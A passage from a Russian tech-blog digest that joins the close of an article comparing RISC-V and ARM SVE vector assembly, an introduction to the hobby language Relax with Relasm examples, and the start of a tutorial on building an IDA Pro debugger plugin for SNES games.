i = 0while i < M   if x1 < x4      p3[i] = 1   else      p3[i] = 0  end  i += 1  x1 += 1end

Концептуально, мы переворачиваем биты в регистре предиката p3в зависимости от того, меньше лиx1,чемx4. В данном случаеx4содержит длину вектора. Еслиp3выглядит так, то длину вектора можно считать равной 3.

1110000

То есть вектор переменной длины реализуется за счёт того, что все операции используют предикат. Рассмотрим эту операцию сложения. Представьте, чтоv0[p0]извлекает из v0только те элементы, для которыхp0истинно.

ADD v4.D, p0/M, v0.D, v1.D ; v4[p0]  v0[p0] + v1[p0]

Итак, мы сделали некоторое вступление. Сейчас рассмотрим более полный пример кода, чтобы увидеть, как эти наборы команд работают на практике.

Пример кода DAXPY

Рассмотрим сейчас, как функции C могут быть реализованы различными векторными командами:

void daxpy(size_t n, double a, double x[], double y[]) {        for (int64_t i = 0; i < n; ++i) {                y[i] = x[i] * a + y[i];        }}

Почему такое странное имя daxpy? Это простая функция в библиотеке линейной алгебры BLAS, популярной в научной работе. В BLAS эта функция называется daxpyи она очень популярна для демонстрации примеров работы разнообразных SIMD и векторных команд. Она реализует такую формулу:

aX + Y

гдеa скаляр, а XиY вектора. Без векторных команд нужно было бы обрабатывать все элементы в цикле. Но с умным компилятором, эти команды могут быть векторизованы в код, который выглядит на RISC-V так, как показано ниже. Комментарии показывают, какой регистр какой переменной соответствует:

daxpy(size_t n, double a, double x[], double y[]) n - a0  int   register (alias for x10) a - fa0 float register (alias for f10)  x - a1  (alias for x11)  y - a2  (alias for x12

Код:

LI       t0, 2<<25    VSETDCFG t0             # enable two 64-bit float regsloop:    SETVL  t0, a0           # t0  min(mvl, a0), vl  t0    VLD    v0, a1           # load vector x    SLLI   t1, t0, 3        # t1  vl * 2 (in bytes)    VLD    v1, a2           # load vector y    ADD    a1, a1, t1       # increment pointer to x by vl*8    VFMADD v1, v0, fa0, v1  # v1 += v0 * fa0 (y = a * x + y)    SUB    a0, a0, t0       # n -= vl (t0)    VST    v1, a2           # store Y    ADD    a2, a2, t1       # increment pointer to y by vl*8    BNEZ   a0, loop         # repeat if n != 0    RET    

Это код, скопированный из примера. Отметим, что мы не используем именаf иxдля целочисленных и вещественных регистров. Чтобы помочь разработчикам лучше помнить соглашения, ассемблер RISC-V определяет ряд псевдонимов. Например, аргументы функции передаются в регистрахx10-x17. Но нет необходимости запоминать эти номера, для аргументов предусмотрены псевдонимыa0-a7.

t0-t6 псевдонимы регистров временных переменных. Они не сохраняются между вызовами.

Для сравнения мы приведём ниже код ARM SVE. Пометим, какой регистр какую переменную содержит.

daxpy(size_t n, double a, double x[], double y[]) n - x0  register a - d0  float register x - x1  register  y - x2  register i - x3  register for the loop counter

Код:

daxpy:        MOV z2.d, d0            // a        MOV x3, #0              // i        WHILELT p0.d, x3, x0    // i, nloop:        LD1D z1.d, p0/z, [x1, x3, LSL #3] // load x        LD1D z0.d, p0/z, [x2, x3, LSL #3] // load y        FMLA z0.d, p0/m, z1.d, z2.d        ST1D z0.d, p0, [x2, x3, LSL #3]        INCD x3                 // i        WHILELT p0.d, x3, x0    // i, n        B.ANY loop        RET

Код ARM немного короче, так как команды ARM делают больше, чем одно действие. Это является причиной того, что код RISC-V гораздо проще читать. Команды в RISC-V делают что-то одно, и не требуют специального сложного синтаксиса. Такая простая вещь, как загрузка векторного регистра в ARM выглядит сложно:

LD1D z1.d, p0/z, [x1, x3, LSL #3]

Часть в квадратных скобках вычисляет адрес, из которого происходит загрузка:

[x1, x3, LSL #3] = x1 + x3*2 = x[i * 8]

Итак, здесь видно, чтоx1представляет базовый адрес переменнойx.x3 счётчикi. Сдвигом влево на три бита мы умножаем на 8, то есть на количество байт в 64-битном вещественно числе.

Заключение

Как начинающий в векторном кодинге, я должен сказать, что ARM переусложнён. Это не значит, что ARM плохой. Я также изучал систему команд Intel AVX, и она в 10 раз хуже. Я совершенно определённо не хочу тратить время на изучение AVX, принимая во внимание, сколько усилий отняли SVE и Neon.

Для меня совершенно ясно, что любой, кто хочет изучать кодинг на ассемблере, должен начать с RISC-V. Для начинающих это на порядки проще в освоении. И это не удивительно. Эта система команд специально разработана для преподавания в университете.

Архитектура сложна, потому что это легаси. Эта архитектура развивалась десятилетиями, и пыталась сохранять обратную совместимость. ARM имеет более ясный дизайн, но он усложнён просто потому, что дизайн продиктован в первую очередь требованиями отрасли, а не дружественностью к новичкам.

Если для вас, как и для меня, это хобби, и вы просто хотите понимать, как развивается технология, и как работают вещи, такие, как векторная обработка, сберегите свои усилия и просто прочитайте книгу по RISC-V.

Люди могут поспорить, что ARM или Intel или что-то ещё проще, потому что по ним больше книг и больше ресурсов. Ничего подобного! Я могу сказать вам на своём собственном опыте, что документация часто представляет собой препятствие, а не помощь. Это означает, что вам нужно раскопать больше материала. Вы найдёте много противоречий, корни которых лежат в устаревших принципах работы.

Если вы хотите погрузиться в ассемблер, вы можете прочитать некоторые из моих статей и руководств:

Подробнее..

Новый язык программирования Relax

04.04.2021 14:14:58 | Автор: admin

Вступление

Всем привет, я являюсь автором языка программирования Relax. На данный момент я разрабатываю RVM(RelaxVirtualMachine) И Relasm(Relax Assembly). Первые попытки сделать свой язык начались в конце лета 2020, тогда я и не думал что делать язык - это так сложно. Сам же проект Relax начался 30 декабря 2020 года. Прошло полтора месяца, а на нем уже можно написать что-нибудь простенькое.

первое лого языкапервое лого языка

Как компилировать код?

Начнем с того, что файлы relasm лучше сохранять с расширением .rasm, файлы байт-кода - .ree. Для того чтобы скомпилировать и запустить код нужно скачать 3 файла: Relasm.exe, RelaxVM.exe, QtCore.dll. Сделать вы это сможете вот по этим ссылкам: https://github.com/UnbelievableDevelopmentCompany/RVM/tree/master/x64/Release
https://github.com/UnbelievableDevelopmentCompany/Relasm/tree/master/x64/Release

После того как скачали, желательно добавить эти 3 файла в любую папку, которая есть в переменной PATH(или же создать новую папку). Далее в cmd переходим в папку с программой на Relasm и вводим следующие команды:

Relasm main.rasm program.reeRelaxVM program.ree

Первая команда компилирует relasm в байт-код, а вторая уже запускает программу.

Примеры кода на Relasm

Как же выглядит код на Relasm?

mclass MainClassmethod public static void MainClass.Main():.maxstack 1push.str "hello world"callm std static Relax.Console.Write(Relax.String)

Это самая простая программа - hello world! Давайте пройдемся по коду. Первая строчка создает главный класс, в котором обязана быть функция Main(начало выполнения). Во второй строчке мы как раз таки создаем этот метод. Следующие строчки - это тело метода, так как пишутся с табуляцией в начале. Третья строчка кода указывает, что максимальное количество объектов, которые могут находится на стеке равно 1. Четвертая строчка кода добавляет строку "hello world" в стек. Ну и наконец пятая строчка вызывает метод вывода строки на консоль. Строка берется из стека, как и любые другие аргументы в Relasm. Я не буду подробно останавливаться на каждой детали в этом коде.

Хорошо, мы написали hello world, теперь можно что-нибудь по серьёзнее.

mclass MainClassmethod public static void MainClass.Main():.maxstack 2; Объявление переменныхlocal firstNum Relax.Int32local secondNum Relax.Int32local result Relax.Int32local op Relax.String; Получение первого числаcallm std static Relax.Console.Read()callm std static Relax.Converter.StringToInt32(Relax.String)set firstNum; Получение знака операцииcallm std static Relax.Console.Read()set op; Получение второго числаcallm std static Relax.Console.Read()callm std static Relax.Converter.StringToInt32(Relax.String)set secondNum; Проверки на знаки операций; Проверка на сложениеget oppush.str "+"callm std instance Relax.String.operator==(Relax.String)jmpif opAdd; Проверка на вычитаниеget oppush.str "-"callm std instance Relax.String.operator==(Relax.String)jmpif opSub; Проверка на произведениеget oppush.str "*"callm std instance Relax.String.operator==(Relax.String)jmpif opMul; Проверка на делениеget oppush.str "/"callm std instance Relax.String.operator==(Relax.String)jmpif opDivopAdd: ; Сумма чиселget firstNumget secondNumaddset resultjmp endopSub: ; Разность чиселget secondNumget firstNumsubset resultjmp endopMul: ; Произведение чиселget firstNumget secondNummulset resultjmp endopDiv: ; Деление чиселget secondNumget firstNumdivset resultjmp endend: ; вывод результата на экранpush.str "\nResult: "callm std static Relax.Console.Write(Relax.String)get resultcallm std static Relax.Console.Write(Relax.Int32)

Это простой калькулятор. Сначала мы создаем все переменные. Затем считываем данные с консоли. Далее определяем какую операцию нужно выполнять и в зависимости от этого переходим на нужную метку. В каждой метке операции мы получаем 2 числа, выполняем определенную операцию устанавливаем результат в переменную result и переходим в метку end, в которой мы выводим результат в консоль.

Теперь давайте сделаем свой собственный метод.

mclass MainClassmethod public static void MainClass.Main():.maxstack 2; Помещаем аргументы для нашего метода на стекpush.int32 10push.str "Result - "; Вызываем методcallm usr static MainClass.StringPlusInt32(Relax.String, Relax.Int32); Возвращаемый результат выводим на консольcallm std static Relax.Console.Write(Relax.String)method public static Relax.String MainClass.StringPlusInt32(Relax.String str, Relax.Int32 num):.maxstack 2get numcallm std static Relax.Converter.Int32ToString(Relax.Int32) ; конвертируем число в строкуget strcallm std instance Relax.String.Concat(Relax.String) ; добавляем в переменной str конвертированное значениеreturn ; возвращаем результат

Метод StringPlusInt32 нужен для того, чтобы конкатенировать строку и число, для этого мы преобразуем число в строку при помощи метода Relax.Converter.Int32ToString и конкатенируем параметр str с числом, преобразованным в строку. И возвращаем результат при помощи инструкции return. Далее в методе Main просто выводим этот результат в консоль.

Вывод

Relax'у всего лишь полтора месяца, а он уже такое может. Он будет развиваться еще долго. Но даже сейчас можно писать простенькие консольные программы.

Репозиторий виртуальной машины(там есть документация relasm) - https://github.com/UnbelievableDevelopmentCompany/RVM

Репозиторий компилятора Relasm - https://github.com/UnbelievableDevelopmentCompany/Relasm

Пакет для sublime text 3 - RelasmST3Package

Подробнее..
Категории: C++ , Qt , Assembler , Байт-код , Relax , Relasm , Яп , Pl , Udc , Lofectr

Пишем плагин отладки для SNES игр в IDA v7

16.04.2021 04:04:08 | Автор: admin


Приветствую,


Моя очень старая мечта сбылась я написал модуль-отладчик, с помощью которого можно отлаживать SNES (Super Nintendo) игры прямо в IDA! Если интересно узнать, как я это сделал, "прошу под кат" (как тут принято говорить).


Введение


Я давно увлекаюсь реверс-инжинирингом. Сначала это было просто хобби, затем стало работой (и при этом хобби никуда не делось). Только на работе "всё серьёзно", а дома это баловство в виде обратной разработки игр под ретро-приставки: Sega Mega Drive / Genesis, PS1, AmigaOS. Задача обычно стоит следующая: понять как работает игра, если есть сжатие победить его, понять как строится уровень, как размещаются враги на уровне и т.д.


За то время, которое прошло с момента, как я начал этим заниматься, мною было написано несколько удобных и полезных инструментов для тех, кто хотел реверсить игры на Сегу, Соньку, и другие платформы.


Мне удалось разреверсить один очень крутой shoot'em-up: Thunder Force 3 (а именно благодаря этой игре я и познакомился с Идой). Я написал редактор уровней, разреверсил игру до исходников на ассемблере, и всё это попутно создавая и улучшая инструмент, который в последствии и облегчал данную работу плагин-отладчик сеговских ромов для IDA, который я назвал просто Gensida (т.к. в основе лежал один очень популярный эмулятор этой платформы GENS, а точнее его модификация).



Без эмулятора с отладкой тоже можно создать такой плагин, но для этого придётся писать отладочный функционал с нуля, что не всегда хочется делать.

Со временем я узнал, что у Thunder Force 3 есть и версия для SNES Thunder Spirits, которая имеет несколько новых уровней и некоторые изменения в интерфейсе. Так вот, мне захотелось портировать всё это на Сегу, дополнив игру. Но, знаний как о самой Super Nintendo, так и о том, как её реверсить, у меня не было. Я пошёл гуглить и понял, что как-то всё плохо с отладкой у "сеги подороже". На данный момент существует всего ДВА (!) эмулятора SNES с отладкой, и у одного нет исходников, а второй второй имеет настолько убогий исходный код, что я боялся даже с ним работать.


Тем не менее, овладев некоторыми знаниями и умениями, и переборов желание не ввязываться в такой ужасный код (эмулятора), я смог написать и Snesida отладчик SNES ромов для под IDA. И, я считаю, что теперь то уж настал тот момент, когда я готов рассказать о том, как создать более-менее полноценный отладчик для этого ревёрсерского инструмента.


Что нам потребуется


Для того, чтобы создать свой плагин-отладчик под Иду, нам потребуется:


  1. IDA v7.x
  2. IDA SDK
  3. Эмулятор-отладчик (можно и без отладки, главное с исходниками, которые захочется допилить)
  4. Thrift (да, я выбрал его за сериализацию и RPC прямо "из коробки")
  5. Умение писать на C++

Думаю, список достаточно простой и понятный. Если чего-то из этого у вас нет, то плагин не получится, увы.


А теперь пишем код


Прежде чем начать, советую ознакомиться со статьёй "Модернизация IDA Pro. Отладчик для Sega Mega Drive (часть 2)", т.к. многие моменты здесь будут повторяться, но будут и некоторые новые (т.к. SDK Иды обновляется, и то, что работало раньше, теперь не применимо).


Собственно, написание любого плагина для IDA всегда начинается с создания кода-шаблона. Я использую для этого Visual Studio (на данный момент самой свежей является версия 2019).


Открываем Студию, создаём новый проект DLL, и прописываем в следующие пути к библиотекам в свойствах Linker для проекта:


  • d:\idasdk76\lib\x64_win_vc_32\ это для плагина, который будет работать с 32-битными приложениями (открываться в ida.exe)
  • d:\idasdk76\lib\x64_win_vc_64\ это для плагина, который будет работать с 64-битными приложениями (открываться в ida64.exe)
  • Если у вас не Windows и компилятор не Visual Studio, посмотрите другие имеющиеся папки в d:\idasdk76\lib\

В линкуемые библиотеки добавляем ida.lib. Теперь создаём пустой cpp-файл, чтобы VS показала свойства C/C++ компилятора и указываем:


  • d:\idasdk76\include\ в спискок путей к инклудам
  • Меняем /MDd и /MD на /MTd и /MT соответственно в свойствах Code Generation просто, чтобы не зависеть от лишних библиотек, которые не всегда установлены
  • __NT__;__IDP__;__X64__; в Preprocessor Definitions компилятора
  • __EA64__; дополнительно к предыдущим флагам, если плагин будет работать с 64-битными приложениями
  • Убираем SDL Checks с ним будет сложнее писать код

С подготовкой вроде бы всё. Теперь начнём писать код.


Плагин


Собственно, как вы уже, должно быть, поняли, отладчик для Иды это тоже плагин, а значит он должен ей как-то идентифицироваться. Поэтому пишем следующий код:


ida_plugin.cpp
#include <ida.hpp>#include <idp.hpp>#include <dbg.hpp>#include <loader.hpp>#include "ida_plugin.h"extern debugger_t debugger;static bool plugin_inited;static bool init_plugin(void) {    return (ph.id == PLFM_65C816);}static void print_version(){    static const char format[] = NAME " debugger plugin v%s;\nAuthor: DrMefistO [Lab 313] <newinferno@gmail.com>.";    info(format, VERSION);    msg(format, VERSION);}static plugmod_t* idaapi init(void) {    if (init_plugin()) {        dbg = &debugger;        plugin_inited = true;        print_version();        return PLUGIN_KEEP;    }    return PLUGIN_SKIP;}static void idaapi term(void) {    if (plugin_inited) {        plugin_inited = false;    }}static bool idaapi run(size_t arg) {    return false;}char comment[] = NAME " debugger plugin by DrMefistO.";char help[] =    NAME " debugger plugin by DrMefistO.\n"    "\n"    "This module lets you debug SNES roms in IDA.\n";plugin_t PLUGIN = {    IDP_INTERFACE_VERSION,    PLUGIN_PROC | PLUGIN_DBG,    init,    term,    run,    comment,    help,    NAME " debugger plugin",    ""};

Здесь мы описываем наш плагин, инициализируем структуру dbg, т.к. мы отладчик, и указываем, что работаем мы только с платформой PLFM_65C816 (в моём случае). Более подробно в статье про отладчик для Сеги.


Следом идёт ida_plugin.h. Тут всё просто константы для cpp-файла плагина:


#pragma once#define NAME "snesida"#define VERSION "1.0"

Код самого отладчика


Собственно, пока у нас в голове только идея отладчика, и мы ей горим, всё что мы можем пока написать, это базовый код, который будем постепенно дополнять. Начиная с этой части, если сравнивать с предыдущей статьёй, появились значительные изменения в коде и концепции в написании отладчика, поэтому читаем внимательно:


ida_debug.cpp
#include <ida.hpp>#include <dbg.hpp>#include <auto.hpp>#include <deque>#include <mutex>#include "ida_plugin.h"#include "ida_debmod.h"#include "ida_registers.h"static ::std::mutex list_mutex;static eventlist_t events;static const char* const p_reg[] ={    "CF",    "ZF",    "IF",    "DF",    "XF",    "MF",    "VF",    "NF",};static register_info_t registers[] = {    {"A", 0, RC_CPU, dt_word, NULL, 0},    {"X", 0, RC_CPU, dt_word, NULL, 0},    {"Y", 0, RC_CPU, dt_word, NULL, 0},    {"D", 0, RC_CPU, dt_word, NULL, 0},    {"DB", 0, RC_CPU, dt_byte, NULL, 0},    {"PC", REGISTER_IP | REGISTER_ADDRESS, RC_CPU, dt_dword, NULL, 0},  {"S", REGISTER_SP | REGISTER_ADDRESS, RC_CPU, dt_word, NULL, 0},    {"P", REGISTER_READONLY, RC_CPU, dt_byte, p_reg, 0xFF},  {"m", REGISTER_READONLY, RC_CPU, dt_byte, NULL, 0},  {"x", REGISTER_READONLY, RC_CPU, dt_byte, NULL, 0},    {"e", REGISTER_READONLY, RC_CPU, dt_byte, NULL, 0},};static const char* register_classes[] = {    "General Registers",    NULL};static drc_t idaapi init_debugger(const char* hostname, int portnum, const char* password, qstring* errbuf){  return DRC_OK;}static drc_t idaapi term_debugger(void){  return DRC_OK;}static drc_t s_get_processes(procinfo_vec_t* procs, qstring* errbuf) {  process_info_t info;  info.name.sprnt("bsnes");  info.pid = 1;  procs->add(info);  return DRC_OK;}static drc_t idaapi s_start_process(const char* path,  const char* args,  const char* startdir,  uint32 dbg_proc_flags,  const char* input_path,  uint32 input_file_crc32,  qstring* errbuf = NULL){  ::std::lock_guard<::std::mutex> lock(list_mutex);  events.clear();  return DRC_OK;}static drc_t idaapi prepare_to_pause_process(qstring* errbuf){  return DRC_OK;}static drc_t idaapi emul_exit_process(qstring* errbuf){  return DRC_OK;}static gdecode_t idaapi get_debug_event(debug_event_t* event, int timeout_ms){  while (true)  {    ::std::lock_guard<::std::mutex> lock(list_mutex);    // are there any pending events?    if (events.retrieve(event))    {      return events.empty() ? GDE_ONE_EVENT : GDE_MANY_EVENTS;    }    if (events.empty())      break;  }  return GDE_NO_EVENT;}static drc_t idaapi continue_after_event(const debug_event_t* event){  dbg_notification_t req = get_running_notification();  switch (event->eid())  {  case PROCESS_SUSPENDED:    break;  case PROCESS_EXITED:    break;  }  return DRC_OK;}static drc_t idaapi s_set_resume_mode(thid_t tid, resume_mode_t resmod) // Run one instruction in the thread{  switch (resmod)  {  case RESMOD_INTO:    ///< step into call (the most typical single stepping)    break;  case RESMOD_OVER:    ///< step over call    break;  }  return DRC_OK;}static drc_t idaapi read_registers(thid_t tid, int clsmask, regval_t* values, qstring* errbuf){  if (clsmask & RC_CPU)  {    }    return DRC_OK;}static drc_t idaapi write_register(thid_t tid, int regidx, const regval_t* value, qstring* errbuf){  if (regidx >= static_cast<int>(SNES_REGS::SR_PC) && regidx <= static_cast<int>(SNES_REGS::SR_EFLAG)) {    }    return DRC_OK;}static drc_t idaapi get_memory_info(meminfo_vec_t& areas, qstring* errbuf){  memory_info_t info;  info.start_ea = 0x0000;  info.end_ea = 0x01FFF;  info.sclass = "STACK";  info.bitness = 0;  info.perm = SEGPERM_READ | SEGPERM_WRITE;  areas.push_back(info);  // Don't remove this loop  for (int i = 0; i < get_segm_qty(); ++i)  {    segment_t* segm = getnseg(i);    info.start_ea = segm->start_ea;    info.end_ea = segm->end_ea;    qstring buf;    get_segm_name(&buf, segm);    info.name = buf;    get_segm_class(&buf, segm);    info.sclass = buf;    info.sbase = get_segm_base(segm);    info.perm = segm->perm;    info.bitness = segm->bitness;    areas.push_back(info);  }  // Don't remove this loop    return DRC_OK;}static ssize_t idaapi read_memory(ea_t ea, void* buffer, size_t size, qstring* errbuf){  return size;}static ssize_t idaapi write_memory(ea_t ea, const void* buffer, size_t size, qstring* errbuf){  return size;}static int idaapi is_ok_bpt(bpttype_t type, ea_t ea, int len){  switch (type)  {  case BPT_EXEC:  case BPT_READ:  case BPT_WRITE:  case BPT_RDWR:    return BPT_OK;  }  return BPT_BAD_TYPE;}static drc_t idaapi update_bpts(int* nbpts, update_bpt_info_t* bpts, int nadd, int ndel, qstring* errbuf){  for (int i = 0; i < nadd; ++i)  {    ea_t start = bpts[i].ea;    ea_t end = bpts[i].ea + bpts[i].size - 1;    bpts[i].code = BPT_OK;  }  for (int i = 0; i < ndel; ++i)  {    ea_t start = bpts[nadd + i].ea;    ea_t end = bpts[nadd + i].ea + bpts[nadd + i].size - 1;    bpts[nadd + i].code = BPT_OK;  }  *nbpts = (ndel + nadd);  return DRC_OK;}static ssize_t idaapi idd_notify(void*, int msgid, va_list va) {  drc_t retcode = DRC_NONE;  qstring* errbuf;  switch (msgid)  {  case debugger_t::ev_init_debugger:  {    const char* hostname = va_arg(va, const char*);    int portnum = va_arg(va, int);    const char* password = va_arg(va, const char*);    errbuf = va_arg(va, qstring*);    QASSERT(1522, errbuf != NULL);    retcode = init_debugger(hostname, portnum, password, errbuf);  }  break;  case debugger_t::ev_term_debugger:    retcode = term_debugger();    break;  case debugger_t::ev_get_processes:  {    procinfo_vec_t* procs = va_arg(va, procinfo_vec_t*);    errbuf = va_arg(va, qstring*);    retcode = s_get_processes(procs, errbuf);  }  break;  case debugger_t::ev_start_process:  {    const char* path = va_arg(va, const char*);    const char* args = va_arg(va, const char*);    const char* startdir = va_arg(va, const char*);    uint32 dbg_proc_flags = va_arg(va, uint32);    const char* input_path = va_arg(va, const char*);    uint32 input_file_crc32 = va_arg(va, uint32);    errbuf = va_arg(va, qstring*);    retcode = s_start_process(path,      args,      startdir,      dbg_proc_flags,      input_path,      input_file_crc32,      errbuf);  }  break;  case debugger_t::ev_get_debapp_attrs:  {    debapp_attrs_t* out_pattrs = va_arg(va, debapp_attrs_t*);    out_pattrs->addrsize = 3;    out_pattrs->is_be = false;    out_pattrs->platform = "bsnes";    out_pattrs->cbsize = sizeof(debapp_attrs_t);    retcode = DRC_OK;  }  break;  case debugger_t::ev_rebase_if_required_to:  {    ea_t new_base = va_arg(va, ea_t);    retcode = DRC_OK;  }  break;  case debugger_t::ev_request_pause:    errbuf = va_arg(va, qstring*);    retcode = prepare_to_pause_process(errbuf);    break;  case debugger_t::ev_exit_process:    errbuf = va_arg(va, qstring*);    retcode = emul_exit_process(errbuf);    break;  case debugger_t::ev_get_debug_event:  {    gdecode_t* code = va_arg(va, gdecode_t*);    debug_event_t* event = va_arg(va, debug_event_t*);    int timeout_ms = va_arg(va, int);    *code = get_debug_event(event, timeout_ms);    retcode = DRC_OK;  }  break;  case debugger_t::ev_resume:  {    debug_event_t* event = va_arg(va, debug_event_t*);    retcode = continue_after_event(event);  }  break;  case debugger_t::ev_thread_suspend:  {    thid_t tid = va_argi(va, thid_t);    retcode = DRC_OK;  }  break;  case debugger_t::ev_thread_continue:  {    thid_t tid = va_argi(va, thid_t);    retcode = DRC_OK;  }  break;  case debugger_t::ev_set_resume_mode:  {    thid_t tid = va_argi(va, thid_t);    resume_mode_t resmod = va_argi(va, resume_mode_t);    retcode = s_set_resume_mode(tid, resmod);  }  break;  case debugger_t::ev_read_registers:  {    thid_t tid = va_argi(va, thid_t);    int clsmask = va_arg(va, int);    regval_t* values = va_arg(va, regval_t*);    errbuf = va_arg(va, qstring*);    retcode = read_registers(tid, clsmask, values, errbuf);  }  break;  case debugger_t::ev_write_register:  {    thid_t tid = va_argi(va, thid_t);    int regidx = va_arg(va, int);    const regval_t* value = va_arg(va, const regval_t*);    errbuf = va_arg(va, qstring*);    retcode = write_register(tid, regidx, value, errbuf);  }  break;  case debugger_t::ev_get_memory_info:  {    meminfo_vec_t* ranges = va_arg(va, meminfo_vec_t*);    errbuf = va_arg(va, qstring*);    retcode = get_memory_info(*ranges, errbuf);  }  break;  case debugger_t::ev_read_memory:  {    size_t* nbytes = va_arg(va, size_t*);    ea_t ea = va_arg(va, ea_t);    void* buffer = va_arg(va, void*);    size_t size = va_arg(va, size_t);    errbuf = va_arg(va, qstring*);    ssize_t code = read_memory(ea, buffer, size, errbuf);    *nbytes = code >= 0 ? code : 0;    retcode = code >= 0 ? DRC_OK : DRC_NOPROC;  }  break;  case debugger_t::ev_write_memory:  {    size_t* nbytes = va_arg(va, size_t*);    ea_t ea = va_arg(va, ea_t);    const void* buffer = va_arg(va, void*);    size_t size = va_arg(va, size_t);    errbuf = va_arg(va, qstring*);    ssize_t code = write_memory(ea, buffer, size, errbuf);    *nbytes = code >= 0 ? code : 0;    retcode = code >= 0 ? DRC_OK : DRC_NOPROC;  }  break;  case debugger_t::ev_check_bpt:  {    int* bptvc = va_arg(va, int*);    bpttype_t type = va_argi(va, bpttype_t);    ea_t ea = va_arg(va, ea_t);    int len = va_arg(va, int);    *bptvc = is_ok_bpt(type, ea, len);    retcode = DRC_OK;  }  break;  case debugger_t::ev_update_bpts:  {    int* nbpts = va_arg(va, int*);    update_bpt_info_t* bpts = va_arg(va, update_bpt_info_t*);    int nadd = va_arg(va, int);    int ndel = va_arg(va, int);    errbuf = va_arg(va, qstring*);    retcode = update_bpts(nbpts, bpts, nadd, ndel, errbuf);  }  break;  default:    retcode = DRC_NONE;  }  return retcode;}debugger_t debugger{    IDD_INTERFACE_VERSION,    NAME,    0x8000 + 6581, // (6)    "65816",    DBG_FLAG_NOHOST | DBG_FLAG_CAN_CONT_BPT | DBG_FLAG_SAFE | DBG_FLAG_FAKE_ATTACH | DBG_FLAG_NOPASSWORD |    DBG_FLAG_NOSTARTDIR | DBG_FLAG_NOPARAMETERS | DBG_FLAG_ANYSIZE_HWBPT | DBG_FLAG_DEBTHREAD | DBG_FLAG_PREFER_SWBPTS,    DBG_HAS_GET_PROCESSES | DBG_HAS_REQUEST_PAUSE | DBG_HAS_SET_RESUME_MODE | DBG_HAS_THREAD_SUSPEND | DBG_HAS_THREAD_CONTINUE | DBG_HAS_CHECK_BPT,    register_classes,    RC_CPU,    registers,    qnumber(registers),    0x1000,    NULL,    0,    0,    DBG_RESMOD_STEP_INTO | DBG_RESMOD_STEP_OVER,    NULL,    idd_notify};

Основное изменение, коснувшееся кода плагинов отладчиков по сравнению с тем, что мы писали в статье про отладчик для Сеги, это то, что колбэк теперь всего один idd_notify, но он один теперь обрабатывает все те сообщения, которые раньше приходилось обрабатывать по отдельности. Так что, если захотите просто портировать свой старый код плагина-отладчика, возьмите шаблон колбэка из данной статьи, и адаптируйте его под имеющийся код.


Вторым важным изменением стало введением "стандартизированных" кодов возврата у функций отладчика drc_t. Тут всё просто: если функция отработала без ошибок, возвращаем DRC_OK, иначе DRC_FAILED.


Остальные инклуды:


ida_registers.h
#pragma once#define RC_CPU (1 << 0)#define RC_PPU (1 << 1)enum class SNES_REGS : uint8_t{    SR_A,    SR_X,    SR_Y,    SR_D,    SR_DB,    SR_PC,    SR_S,    SR_P,    SR_MFLAG,    SR_XFLAG,    SR_EFLAG,};

ida_debmod.h
#pragma once#include <deque>#include <ida.hpp>#include <idd.hpp>//--------------------------------------------------------------------------// Very simple class to store pending eventsenum queue_pos_t{    IN_FRONT,    IN_BACK};struct eventlist_t : public std::deque<debug_event_t>{private:    bool synced;public:    // save a pending event    void enqueue(const debug_event_t &ev, queue_pos_t pos)    {        if (pos != IN_BACK)            push_front(ev);        else            push_back(ev);    }    // retrieve a pending event    bool retrieve(debug_event_t *event)    {        if (empty())            return false;        // get the first event and return it        *event = front();        pop_front();        return true;    }};

В ida_registers.h мы просто перечисляем список регистров для удоства обращений к ним в коде, а в ida_debmod.h описан формат eventlist_t, который мы будем использовать для хранения событий, с которыми будет работать IDA.


Подготовка завершена


Теперь, когда код шаблона у нас имеется, стоит понять, что мы будем делать дальше. А дальше нам нужно соорудить модель, по которой между IDA и эмулятором будет происходить общение. Для этого нужно держать в голове следующее:


  1. Эмулятор с функцией отладки должен уметь реагировать на запросы Иды "добавить/убрать брейкпоинт", "прочитать/записать память", "получить/изменить регистры"
  2. Эмулятор также должен: уведомлять IDA о том, что: "брейкпоинт сработал", "шаг при пошаговой отладке выполнен", или "процесс отладки начат или завершён"
  3. Ида должна уметь сообщать эмулятору о том, что есть необходимость: "добавить/убрать брейкпоинт", "прочитать/записать память", "получить/изменить регистры"
  4. Ида должна реагировать на сообщения от эмулятора о том, что: "брейкпоинт сработал", "шаг при пошаговой отладке выполнен", или "процесс отладки начат или завершён"

Исходя из перечисленного понимаем, что понадобятся два канала, т.к. каждому может захотеться "пообщаться" в любой момент, асинхронно:


  1. IDA => эмулятор
  2. Эмулятор => IDA

Учитывая это, можно, опять же, пойти по стопам предыдущей статьи про сеговский отладчик, а можно захотеть использовать "модные и современные" технологии для реализации RPC и сериализации любых данных. Мой выбор пал в сторону Thrift, т.к. с ним работать гораздо удобнее, и он практически не требует дополнительной подготовки (как, например, доклеивание RPC в protobuf, но тут, скорее, на любителя). Единственная сложность, это компиляция сего зверя, но, я оставлю это за рамками данной статьи.


Thrift пишем прототип RPC


Давайте ещё раз посмотрим на те 4 пункта, которые я описал выше, и которые мы всё ещё держим в голове, откроем блокнот, и напишем что-то вроде этого:


service IdaClient {  oneway void start_event(),  oneway void add_visited(1:set<i32> visited, 2:bool is_step),  oneway void pause_event(1:i32 address),  oneway void stop_event(),}

Как видим, в Thrift нету ничего сложного. Здесь мы описали сервис IdaClient, которым будет пользоваться эмулятор, и обработчик которого будет располагаться в IDA. Все эти методы помечены ключевым словом oneway, т.к., по сути, нам не нужно дожидаться их выполнения, и в принципе ожидать, что их обработают.


start_event() будет сообщать Иде о том, что ром выбрал и его эмуляция началась.


add_visited() метод, с помощью которого мы будем сообщать в Иду о том коде, который был выполнен эмулятором. Это полезно при отладке как раз таки ретро-платформ, т.к. в ромах для них код часто перемежается с данными. Если таковой функции в выбранном вами эмуляторе нет, её можно также пропустить и в протоколе.


pause_event() этим методом мы будем сообщать Иде о том, что произошла пауза эмуляции по какой-либо причине: будь то брейкпоинт, завершился шаг при StepInto или StepOver или какой-то другой причине. В качестве нагрузки данный метод будет также передавать адрес, где именно произошла остановка.


stop_event() думаю, тут всё понятно. Эмуляция завершилась, например, по причине завершения процесса эмуляции.


С этим разобрались, теперь часть посложнее отладочный RPC:


